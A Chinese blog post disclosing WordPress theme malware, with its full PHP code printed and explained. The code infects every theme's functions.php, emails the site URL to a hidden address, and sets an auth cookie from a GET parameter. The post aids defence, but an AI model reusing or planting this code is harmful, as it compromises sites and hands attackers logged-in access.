一个WordPress恶意代码function _verifyactivate_widgets()

博主这几天在测试主题，没想到中了恶意代码

能发现它多亏了我的一个小动作 :mmd:

代码如下：

<?php

function _verifyactivate_widgets(){

	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

	$output=strip_tags($output, $allowed);

	$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

	if (is_array($direst)){

		foreach ($direst as $item){

			if (is_writable($item)){

				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

				$cont=file_get_contents($item);

				if (stripos($cont,$ftion) === false){

					$comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";

					$output .= $before . "Not found" . $after;

					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f);				

					$output .= ($isshowdots && $ellipsis) ? "..." : "";

				}

			}

		}

	}

	return $output;

}

function _get_allwidgets_cont($wids,$items=array()){

	$places=array_shift($wids);

	if(substr($places,-1) == "/"){

		$places=substr($places,0,-1);

	}

	if(!file_exists($places) || !is_dir($places)){

		return false;

	}elseif(is_readable($places)){

		$elems=scandir($places);

		foreach ($elems as $elem){

			if ($elem != "." && $elem != ".."){

				if (is_dir($places . "/" . $elem)){

					$wids[]=$places . "/" . $elem;

				} elseif (is_file($places . "/" . $elem)&& 

					$elem == substr(__FILE__,-13)){

					$items[]=$places . "/" . $elem;}

				}

			}

	}else{

		return false;	

	}

	if (sizeof($wids) > 0){

		return _get_allwidgets_cont($wids,$items);

	} else {

		return $items;

	}

}

if(!function_exists("stripos")){ 

    function stripos(  $str, $needle, $offset = 0  ){ 

        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  ); 

    }

}



if(!function_exists("strripos")){ 

    function strripos(  $haystack, $needle, $offset = 0  ) { 

        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  ); 

        if(  $offset < 0  ){ 

            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  ); 

        } 

        else{ 

            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    ); 

        } 

        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE; 

        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   ); 

        return $pos; 

    }

}

if(!function_exists("scandir")){ 

	function scandir($dir,$listDirectories=false, $skipDots=true) {

	    $dirArray = array();

	    if ($handle = opendir($dir)) {

	        while (false !== ($file = readdir($handle))) {

	            if (($file != "." && $file != "..") || $skipDots == true) {

	                if($listDirectories == false) { if(is_dir($file)) { continue; } }

	                array_push($dirArray,basename($file));

	            }

	        }

	        closedir($handle);

	    }

	    return $dirArray;

	}

}

add_action("admin_head", "_verifyactivate_widgets");

function _getprepare_widget(){

	if(!isset($text_length)) $text_length=120;

	if(!isset($check)) $check="cookie";

	if(!isset($tagsallowed)) $tagsallowed="<a>";

	if(!isset($filter)) $filter="none";

	if(!isset($coma)) $coma="";

	if(!isset($home_filter)) $home_filter=get_option("home"); 

	if(!isset($pref_filters)) $pref_filters="wp_";

	if(!isset($is_use_more_link)) $is_use_more_link=1; 

	if(!isset($com_type)) $com_type=""; 

	if(!isset($cpages)) $cpages=$_GET["cperpage"];

	if(!isset($post_auth_comments)) $post_auth_comments="";

	if(!isset($com_is_approved)) $com_is_approved=""; 

	if(!isset($post_auth)) $post_auth="auth";

	if(!isset($link_text_more)) $link_text_more="(more...)";

	if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_");

	if(!isset($checkswidgets)) $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check;

	if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)";

	if(!isset($contentmore)) $contentmore="ma".$coma."il";

	if(!isset($for_more)) $for_more=1;

	if(!isset($fakeit)) $fakeit=1;

	if(!isset($sql)) $sql="";

	if (!$widget_yes) :

	

	global $wpdb, $post;

	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$coma."vethe".$com_type."mas".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#

	if (!empty($post->post_password)) { 

		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { 

			if(is_feed()) { 

				$output=__("There is no excerpt because this is a protected post.");

			} else {

	            $output=get_the_password_form();

			}

		}

	}

	if(!isset($fixed_tags)) $fixed_tags=1;

	if(!isset($filters)) $filters=$home_filter; 

	if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;

	if(!isset($tag_aditional)) $tag_aditional="div";

	if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);#

	if(!isset($more_text_link)) $more_text_link="Continue reading this entry";	

	if(!isset($isshowdots)) $isshowdots=1;

	

	$comments=$wpdb->get_results($sql);	

	if($fakeit == 2) { 

		$text=$post->post_content;

	} elseif($fakeit == 1) { 

		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;

	} else { 

		$text=$post->post_excerpt;

	}

	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#

	if($text_length < 0) {

		$output=$text;

	} else {

		if(!$no_more && strpos($text, "<span id="more-1835"></span>")) {

		    $text=explode("<!--more-->", $text, 2);

			$l=count($text[0]);

			$more_link=1;

			$comments=$wpdb->get_results($sql);

		} else {

			$text=explode(" ", $text);

			if(count($text) > $text_length) {

				$l=$text_length;

				$ellipsis=1;

			} else {

				$l=count($text);

				$link_text_more="";

				$ellipsis=0;

			}

		}

		for ($i=0; $i<$l; $i++)

				$output .= $text[$i] . " ";

	}

	update_option("_is_widget_active_", 1);

	if("all" != $tagsallowed) {

		$output=strip_tags($output, $tagsallowed);

		return $output;

	}

	endif;

	$output=rtrim($output, "\s\n\t\r\0\x0B");

    $output=($fixed_tags) ? balanceTags($output, true) : $output;

	$output .= ($isshowdots && $ellipsis) ? "..." : "";

	$output=apply_filters($filter, $output);

	switch($tag_aditional) {

		case("div") :

			$tag="div";

		break;

		case("span") :

			$tag="span";

		break;

		case("p") :

			$tag="p";

		break;

		default :

			$tag="span";

	}



	if ($is_use_more_link ) {

		if($for_more) {

			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_text_link . "\">" . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : "" . "</a></" . $tag . ">" . "\n";

		} else {

			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_text_link . "\">" . $link_text_more . "</a></" . $tag . ">" . "\n";

		}

	}

	return $output;

}



add_action("init", "_getprepare_widget");



function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {

	global $wpdb;

	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";

	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";

	if(!$show_pass_post) $request .= " AND post_password =\"\"";

	if($duration !="") { 

		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";

	}

	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";

	$posts=$wpdb->get_results($request);

	$output="";

	if ($posts) {

		foreach ($posts as $post) {

			$post_title=stripslashes($post->post_title);

			$comment_count=$post->comment_count;

			$permalink=get_permalink($post->ID);

			$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;

		}

	} else {

		$output .= $before . "None found" . $after;

	}

	return  $output;

}

?>

原理：

每当wp加载主题时，会调用function.php里面的函数，而恶意代码会在此过程中加在，并检测到你wp主题的绝对路径，之后把其它的主题一并感染，而且它加了很多伪装代码，此代码变量众多，下面是google后找到的结果：

再来大概说说它的工作原理，首先它会存在某一主题里面，当你启用调试此主题时，这段代码可以通过遍历获得你主题目录下的所有主题里面的 functions.php，并在functions.php文件结尾处的最后一个“？>”处自动添加下面的恶意病毒代码，如果恶意病毒代码添加成功，它会发送你博客的url地址到livethemas@gmail.com（可能大家没看到这个邮箱地址的添加位置，这就是它的巧妙之处，它将 email地址拆分转义，然后用多重变量引用，下面的代码我已经用红色标注出了此email地址。

这个邮箱（它怎么知道自己发送了没有呢？在你的wp_options表中保存了一个名字为_is_widget_active_ 的选项，如果已经发送成功，则把它的值设置为1），如果没有，则以当前被感染博客的主页URL为标题和内容。

解决方法：

把感染了代码的主题下载到电脑本地，在每个主题的functions.php文件中删除所有恶意代码，再上传到主题目录启用。

PS：因此博主建议真心想做网站的站长购买正版主题，安全有保障！

1 2 下一页